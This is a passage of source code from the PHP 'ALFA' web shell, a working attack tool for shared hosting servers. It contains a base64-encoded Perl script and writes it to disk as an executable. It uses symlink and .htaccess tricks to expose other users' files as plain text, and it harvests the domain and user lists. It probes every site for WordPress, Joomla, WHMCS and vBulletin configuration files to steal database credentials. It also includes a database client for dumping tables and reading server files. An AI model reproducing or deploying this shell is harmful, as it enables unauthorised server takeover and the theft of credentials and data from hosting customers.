BhbmVsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXBhbmVsLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCRrb2xhLictd2htY3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudGVzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50c3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tbWFuYWdlLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tbXkudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215c2hvcC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tbXlzaG9wLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC16ZW5jYXJ0LnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLVpDc2hvcC50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLXNtZi50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc21mL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYyLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictc21mLWZvcnVtLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bXMvU2V0dGluZ3MucGhwJywka29sYS4nLXNtZi1mb3J1bXMudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXVwLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC91cC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXVwMi50eHQnKTsgDQp9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ic29sZXZpc2libGUiIGJnY29sb3I9IiMwMDAwMDAiPg0KPHA+U29sZXZpc2libGVbQUxGQSBURWFNXSBDb25maWcgRnVja2VyPC9wPg0KPHA+c29sZXZpc2libGVbYXRdZ21haWwuY29tPC9wPg0KPHNwYW4+PGZvbnQgY29sb3I9InJlZCI+bm90ZTo8L2ZvbnQ+IGVudGVyIHBhc3N3ZD0+IDxmb250IGNvbG9yPSIjRkZGRkZGIj5jYXQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+PC9zcGFuPjxiciAvPg0KPGJyIC8+PGZvcm0gbWV0aG9kPSJwb3N0Ij48c3Ryb25nPg0KPHRleHRhcmVhIGlkPSJjaGVja291dHRleHRhcmVhIiBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjNweCBkb3R0ZWQgI0ZGMDAwMDsgd2lkdGg6ICA0OThweDsgaGVpZ2h0OiAzNzBweDsgYmFja2dyb3VuZC1jb2xvcjojRkZGRkZGOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo5cHQ7IGNvbG9yOiBibGFjayIgID48L3RleHRhcmVhPjxiciAvPg0KJm5ic3A7PHA+DQo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjNweCBkb3R0ZWQgI0ZGMDAwMDsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiNGRkZGRkY7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6YmxhY2s7ICIgIC8+PGJyIC8+DQombmJzcDs8L3A+DQo8cD4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDb25maWcgR2V0IiBzdHlsZT0iYm9yZGVyOjNweCBkb3R0ZWQgI0ZGMDAwMDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjogYmxhY2s7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiNGRkZGRkY7IiAvPjwvcD4NCjwvZm9ybT48L3N0cm9uZz4NCic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ic29sZXZpc2libGUiIGJnY29sb3I9IiMwMDAwMDAiPg0KPGgyPmNvbXBsZXRlZCA6KTwvaDI+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+PGZvbnQgY29sb3I9IiMwMEZGMDAiPg0KPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+Q2xpY2sgSGVyZSBUbyBEb3dubG9hZCBUYXIgRmlsZTwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
2317$solevisible1 = fopen('config.alfa','w+');
2318$solevisible2 = fwrite ($solevisible1 ,base64_decode($solevisible3));
2319fclose($solevisible1);
2320chmod('config.alfa',0755);
2321echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
2322echo '<iframe src=alfaconfig/config.alfa width=100% height=600px frameborder=0></iframe> ';
2323}
2324if(isset($_POST['alfa4']) && $_POST['alfa4']=='SymFile')
2325{
2326echo '
2327<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_="";</script>
2328<center>
2329<pre id="strOutput" style="margin-top:5px" class="ml1"></pre><br>
2330<form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
2331<b><big><font color="#FFFF01" >==</font> <font color="#00A220">Symlink</font> <font color="#FFFFFF">File And</font><font color="#FF0000"> Directory</font><font color="#FFFF01"> ==</font></b></big><p>
2332<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br /><p>
2333<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/><br />
2334<input type="submit" value=">>" name="symlink" />
2335</form></center>
2336';
2337@mkdir('sym',0777);
2338$solevisible11 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2339$solevisible10 =@fopen ('sym/.htaccess','w');
2340fwrite($solevisible10 ,$solevisible11);
2341$solevisible56 = $_POST['alfa5'];
2342$solevisible57 = $_POST['alfa6'];
2343$solevisible58 = $_POST['alfa7'];
2344if ($solevisible58)
2345{
2346@symlink("$solevisible56","sym/$solevisible57");
2347echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
2348echo '<center><b><font color="white">Click >> </font><a target="_blank" href="sym/'.$solevisible57.'" ><b><font size="4">'.$solevisible57.'</font></b></a></b></center><br>';
2349}
2350}
2351if(isset($_POST['alfa1']) && $_POST['alfa1']=='website')
2352{if(!@file_exists("/etc/virtual/domainowners")){
2353echo "<center>";
2354$d0mains = @file("/etc/named.conf");
2355if(!$d0mains){ echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Cant access this file on server -> [ /etc/named.conf ]</b></font></pre></center>"; }
2356echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table align='center' width='40%' class='main' border='1'><td><font color=\"#00A220\"><b><center># Count</center></font></b></td><td><font color=\"#FFFFFF\"><b><center>Domains</center></font></b></td><td><font color=\"#FF0000\"><b><center>Users</center></font></b></td>";
2357$count=1;
2358foreach($d0mains as $d0main){
2359if(@eregi("zone",$d0main)){
2360preg_match_all('#zone "(.*)"#', $d0main, $domains);
2361flush();
2362if(strlen(trim($domains[1][0])) > 2){
2363$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
2364echo "<tr><td><b><font color=\"#00A220\">".$count."</b></font></td><td><a href=http://www.".$domains[1][0]."/><font color=\"#FFFFFF\"><b>".$domains[1][0]."</font></b></a></td><td><b><font color=\"#FF0000\">".$user['name']."</font></b></td></tr>";flush();
2365$count++;
2366}}}
2367echo "</center></table>";
2368}else{echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">This is Server DirectAdmin Please use </font><font color="#FF0000">Whole Symlink for DirectAdmin</font></b> ';}
2369}
2370if(isset($_POST['alfa2']) && $_POST['alfa2']=='whole')
2371{
2372if(!@file_exists("/etc/virtual/domainowners")){
2373@set_time_limit(0);
2374echo "<center>";
2375@mkdir('sym',0777);
2376$solevisible11 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2377$solevisible10 =@fopen ('sym/.htaccess','w');
2378fwrite($solevisible10 ,$solevisible11);
2379@symlink('/','sym/root');
2380$solevisible12 = basename('_FILE_');
2381$solevisible9 = @file('/etc/named.conf');
2382if(!$solevisible9)
2383{
2384echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Cant access this file on server -> [ /etc/named.conf ]</b></font></pre></center>";
2385}
2386else
2387{
2388echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
2389echo "<table align='center' width='40%' class='main' border='1'>
2390<td><font color=\"#FFFF01\"><b><center># Count</center></font></b></td>
2391<td><font color=\"#00A220\"><b><center>Domains</center></font></b></td>
2392<td><font color=\"#FFFFFF\"><b><center>Users</center></font></b></td>
2393<td><font color=\"#FF0000\"><b><center>symlink</center></font></b></td>";
2394$count=1;
2395foreach($solevisible9 as $solevisible13){
2396if(@eregi('zone',$solevisible13)){
2397preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14);
2398flush();
2399if(strlen(trim($solevisible14[1][0])) >2){
2400$solevisible18 = posix_getpwuid(@fileowner('/etc/valiases/'.$solevisible14[1][0]));
2401$solevisible21 = $solevisible18['name'];
2402@symlink('/','sym/root');
2403$solevisible21 = $solevisible14[1][0];
2404$solevisible20 = '\.ir';
2405$solevisible19 = '\.il';
2406if (@eregi("$solevisible20",$solevisible14[1][0]) or @eregi("$solevisible19",$solevisible14[1][0]) ){
2407$solevisible21 = "<b><font color=\"#00FFFF\">".$solevisible14[1][0].'</font></b>';}
2408echo "<tr><td><font color=\"#FFFF01\">{$count}</font></td><td><a target='_blank' href=http://www.".$solevisible14[1][0].'/><font color=\"#00A220\"><b>'.$solevisible21.'</b> </a></font></td><td><font color="white"><b>'.$solevisible18['name']."</font></b></td><td><a href='sym/root/home/".$solevisible18['name']."/public_html' target='_blank'><font color=\"#FF0000\">symlink </font></a></td></tr>";flush();
2409$count++;}}}}}else {echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">This is Server DirectAdmin Please use </font><font color="#FF0000">Whole Symlink for DirectAdmin</font></b> ';}
2410echo "</center></table>";
2411}
2412if(isset($_POST['alfa6']) && $_POST['alfa6']=='direct')
2413{
2414if(@file_exists("/etc/virtual/domainowners")){
2415@mkdir('sym',0777);
2416$solevisible11 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2417$solevisible10 =@fopen ('sym/.htaccess','w');
2418fwrite($solevisible10 ,$solevisible11);
2419@symlink('/','sym/root');
2420fclose($solevisible10);
2421$sole = @file("/etc/virtual/domainowners");
2422$count=1;
2423echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
2424echo "<table align='center' width='40%' class='main' border='1'>
2425<td><font color=\"#FFFF01\"><b><center># Count</center></font></b></td>
2426<td><font color=\"#00A220\"><b><center>Domains</center></font></b></td>
2427<td><font color=\"#FFFFFF\"><b><center>Users</center></font></b></td>
2428<td><font color=\"#FF0000\"><b><center>symlink</center></font></b></td>";
2429foreach($sole as $visible){
2430if(@eregi(":",$visible)){
2431$solevisible = explode(':', $visible);
2432echo "<tr><td><font color=\"#FFFF01\">{$count}</font></td><td><a target='_blank' href=http://www.".trim($solevisible[0]).'/><font color=\"#00A220\"><b>'.trim($solevisible[0]).'</b> </font></a></td><td><font color="white"><b>'.trim($solevisible[1])."</font></b></td><td><a href='sym/root/home/".trim($solevisible[1])."/public_html' target='_blank'><font color=\"#FF0000\">symlink </font></a></td></tr>";flush();
2433$count++;}}echo "</table>";}else{echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">This is Server Cpanel Please use</font><font color="#FF0000"> Whole Symlink for Cpanel</font></b><br>';}}
2434if(isset($_POST['alfa3']) && $_POST['alfa3']=='config')
2435{
2436echo "<center>";
2437@mkdir('sym',0777);
2438$solevisible11 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2439$solevisible10 =@fopen ('sym/.htaccess','w');
2440@fwrite($solevisible10 ,$solevisible11);
2441@symlink('/','sym/root');
2442$solevisible12 = basename('_FILE_');
2443$solevisible9 = @file('/etc/named.conf');
2444if(!$solevisible9)
2445{
2446echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Cant access this file on server -> [ /etc/named.conf ]</b></font></pre></center>";
2447}
2448else
2449{
2450echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>
2451<table align='center' width='40%' class='main' ><td><b><font color=\"#FFFFFF\"><center> Domains <b></font></center></td><td> <b><font color=\"#FFFFFF\">Script <b></font></center></td>";
2452foreach($solevisible9 as $solevisible13){
2453if(@eregi('zone',$solevisible13)){
2454preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14);
2455flush();
2456if(strlen(trim($solevisible14[1][0])) >2){
2457$solevisible18 = posix_getpwuid(@fileowner('/etc/valiases/'.$solevisible14[1][0]));
2458$solevisible15=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/wp-config.php';
2459$solevisible33=get_headers($solevisible15);
2460$solevisible17=$solevisible33[0];
2461$solevisible34=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/blog/wp-config.php';
2462$solevisible35=get_headers($solevisible34);
2463$solevisible36=$solevisible35[0];
2464$solevisible37=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/configuration.php';
2465$solevisible38=get_headers($solevisible37);
2466$solevisible28=$solevisible38[0];
2467$solevisible29=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/joomla/configuration.php';
2468$solevisible30=get_headers($solevisible29);
2469$solevisible27=$solevisible30[0];
2470$solevisible31=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/includes/config.php';
2471$solevisible32=get_headers($solevisible31);
2472$solevisible26=$solevisible32[0];
2473$solevisible25=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/vb/includes/config.php';
2474$solevisible39=get_headers($solevisible25);
2475$solevisible40=$solevisible39[0];
2476$solevisible24=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/forum/includes/config.php';
2477$solevisible23=get_headers($solevisible24);
2478$solevisible22=$solevisible23[0];
2479$solevisible41=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'public_html/clients/configuration.php';
2480$solevisible42=get_headers($solevisible41);
2481$solevisible43=$solevisible42[0];
2482$solevisible44=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/support/configuration.php';
2483$solevisible42=get_headers($solevisible44);
2484$solevisible45=$solevisible42[0];
2485$solevisible46=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/client/configuration.php';
2486$solevisible47=get_headers($solevisible46);
2487$solevisible48=$solevisible47[0];
2488$solevisible49=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/submitticket.php';
2489$solevisible50=get_headers($solevisible49);
2490$solevisible51=$solevisible50[0];
2491$solevisible52=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/client/configuration.php';
2492$solevisible53=get_headers($solevisible52);
2493$solevisible54=$solevisible53[0];
2494$solevisible54 = strpos($solevisible17,'200');
2495$solevisible16=' ';
2496if (strpos($solevisible17,'200') == true )
2497{
2498$solevisible16="<a href='".$solevisible15."' target='_blank'>Wordpress</a>";
2499}
2500elseif (strpos($solevisible36,'200') == true)
2501{
2502$solevisible16="<a href='".$solevisible34."' target='_blank'>Wordpress</a>";
2503}
2504elseif (strpos($solevisible28,'200') == true and strpos($solevisible51,'200') == true )
2505{
2506$solevisible16=" <a href='".$solevisible49."' target='_blank'>WHMCS</a>";
2507}
2508elseif (strpos($solevisible45,'200') == true)
2509{
2510$solevisible16 =" <a href='".$solevisible44."' target='_blank'>WHMCS</a>";
2511}
2512elseif (strpos($solevisible48,'200') == true)
2513{
2514$solevisible16 =" <a href='".$solevisible46."' target='_blank'>WHMCS</a>";
2515}
2516elseif (strpos($solevisible28,'200') == true)
2517{
2518$solevisible16=" <a href='".$solevisible37."' target='_blank'>Joomla</a>";
2519}
2520elseif (strpos($solevisible27,'200') == true)
2521{
2522$solevisible16=" <a href='".$solevisible29."' target='_blank'>Joomla</a>";
2523}
2524elseif (strpos($solevisible26,'200') == true)
2525{
2526$solevisible16=" <a href='".$solevisible31."' target='_blank'>vBulletin</a>";
2527}
2528elseif (strpos($solevisible40,'200') == true)
2529{
2530$solevisible16=" <a href='".$solevisible25."' target='_blank'>vBulletin</a>";
2531}
2532elseif (strpos($solevisible22,'200') == true)
2533{
2534$solevisible16=" <a href='".$solevisible24."' target='_blank'>vBulletin</a>";
2535}
2536else
2537{
2538continue;
2539}
2540$solevisible21 = $solevisible18['name'] ;
2541echo '<tr><td><a href=http://www.'.$solevisible14[1][0].'/>'.$solevisible14[1][0].'</a></td>
2542<td>'.$solevisible16.'</td></tr>';flush();
2543}
2544}
2545}
2546}
2547echo "</center></table>";
2548}
2549echo "</div>";
2550alfafooter();
2551}
2552function alfasql()
2553{
2554class DbClass {
2555var $type;
2556var $link;
2557var $res;
2558function DbClass($type) {
2559$this->type = $type;
2560}
2561function connect($host, $user, $pass, $dbname){
2562switch($this->type) {
2563case 'mysql':
2564if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
2565break;
2566case 'pgsql':
2567$host = explode(':', $host);
2568if(!$host[1]) $host[1]=5432;
2569if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
2570break;
2571}
2572return false;
2573}
2574function selectdb($db) {
2575switch($this->type) {
2576case 'mysql':
2577if (@mysql_select_db($db))return true;
2578break;
2579}
2580return false;
2581}
2582function query($str) {
2583switch($this->type) {
2584case 'mysql':
2585return $this->res = @mysql_query($str);
2586break;
2587case 'pgsql':
2588return $this->res = @pg_query($this->link,$str);
2589break;
2590}
2591return false;
2592}
2593function fetch() {
2594$res = func_num_args()?func_get_arg(0):$this->res;
2595switch($this->type) {
2596case 'mysql':
2597return @mysql_fetch_assoc($res);
2598break;
2599case 'pgsql':
2600return @pg_fetch_assoc($res);
2601break;
2602}
2603return false;
2604}
2605function listDbs() {
2606switch($this->type) {
2607case 'mysql':
2608return $this->query("SHOW databases");
2609break;
2610case 'pgsql':
2611return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
2612break;
2613}
2614return false;
2615}
2616function listTables() {
2617switch($this->type) {
2618case 'mysql':
2619return $this->res = $this->query('SHOW TABLES');
2620break;
2621case 'pgsql':
2622return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
2623break;
2624}
2625return false;
2626}
2627function error() {
2628switch($this->type) {
2629case 'mysql':
2630return @mysql_error();
2631break;
2632case 'pgsql':
2633return @pg_last_error();
2634break;
2635}
2636return false;
2637}
2638function setCharset($str) {
2639switch($this->type) {
2640case 'mysql':
2641if(function_exists('mysql_set_charset'))
2642return @mysql_set_charset($str, $this->link);
2643else
2644$this->query('SET CHARSET '.$str);
2645break;
2646case 'pgsql':
2647return @pg_set_client_encoding($this->link, $str);
2648break;
2649}
2650return false;
2651}
2652function loadFile($str) {
2653switch($this->type) {
2654case 'mysql':
2655return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
2656break;
2657case 'pgsql':
2658$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
2659$r=array();
2660while($i=$this->fetch())
2661$r[] = $i['file'];
2662$this->query('drop table wso2');
2663return array('file'=>implode("\n",$r));
2664break;
2665}
2666return false;
2667}
2668function dump($table, $fp = false) {
2669switch($this->type) {
2670case 'mysql':
2671$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
2672$create = mysql_fetch_array($res);
2673$sql = $create[1].";\n";
2674if($fp) fwrite($fp, $sql); else echo($sql);
2675$this->query('SELECT * FROM `'.$table.'`');
2676$head = true;
2677while($item = $this->fetch()) {
2678$columns = array();
2679foreach($item as $k=>$v) {
2680if($v == null)
2681$item[$k] = "NULL";
2682elseif(is_numeric($v))
2683$item[$k] = $v;
2684else
2685$item[$k] = "'".@mysql_real_escape_string($v)."'";
2686$columns[] = "`".$k."`";
2687}
2688if($head) {
2689$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
2690$head = false;
2691} else
2692$sql = "\n\t,(".implode(", ", $item).')';
2693if($fp) fwrite($fp, $sql); else echo($sql);
2694}
2695if(!$head)
2696if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
2697break;
2698case 'pgsql':
2699$this->query('SELECT * FROM '.$table);
2700while($item = $this->fetch()) {
2701$columns = array();
2702foreach($item as $k=>$v) {
2703$item[$k] = "'".addslashes($v)."'";
2704$columns[] = $k;
2705}
2706$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2707if($fp) fwrite($fp, $sql); else echo($sql);
2708}
2709break;
2710}
2711return false;
2712}
2713};
2714$db = new DbClass($_POST['type']);
2715if(@$_POST['alfa2']=='download') {
2716$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
2717$db->selectdb($_POST['sql_base']);
2718switch($_POST['charset']) {
2719case "Windows-1251": $db->setCharset('calfa1251'); break;
2720case "UTF-8": $db->setCharset('utf8'); break;
2721case "KOI8-R": $db->setCharset('koi8r'); break;
2722case "KOI8-U": $db->setCharset('koi8u'); break;
2723case "calfa866": $db->setCharset('calfa866'); break;
2724}
2725if(empty($_POST['file'])) {
2726ob_start("ob_gzhandler", 4096);
2727header("Content-Disposition: attachment; filename=dump.sql");
2728header("Content-Type: text/plain");
2729foreach($_POST['tbl'] as $v)
2730$db->dump($v);
2731exit;
2732} elseif($fp = @fopen($_POST['file'], 'w')) {
2733foreach($_POST['tbl'] as $v)
2734$db->dump($v, $fp);
2735fclose($fp);
2736unset($_POST['alfa2']);
2737} else
2738die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
2739}
2740alfahead();
2741echo "
2742<div class=header>
2743<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
2744<td><font color=\"#ffffff\"><b>TYPE</b></font></td><td><font color=\"#ffffff\"><b>HOST</b></font></td><td><font color=\"#ffffff\"><b>DB USER</b></font></td><td><font color=\"#ffffff\"><b>DB PASS</b></font></td><td><font color=\"#ffffff\"><b>DB NAME</b></font></td><td></td></tr><tr>
2745<input type=hidden name=a value=Sql><input type=hidden name=alfa1 value='query'><input type=hidden name=alfa2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
2746<td><select name='type'><option value='mysql' ";
2747if(@$_POST['type']=='mysql')echo 'selected';
2748echo ">MySql</option><option value='pgsql' ";
2749if(@$_POST['type']=='pgsql')echo 'selected';
2750echo ">PostgreSql</option></select></td>
2751<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
2752<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'':htmlspecialchars($_POST['sql_login'])) ."'></td>
2753<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
2754$tmp = "<input type=text name=sql_base value=''>";
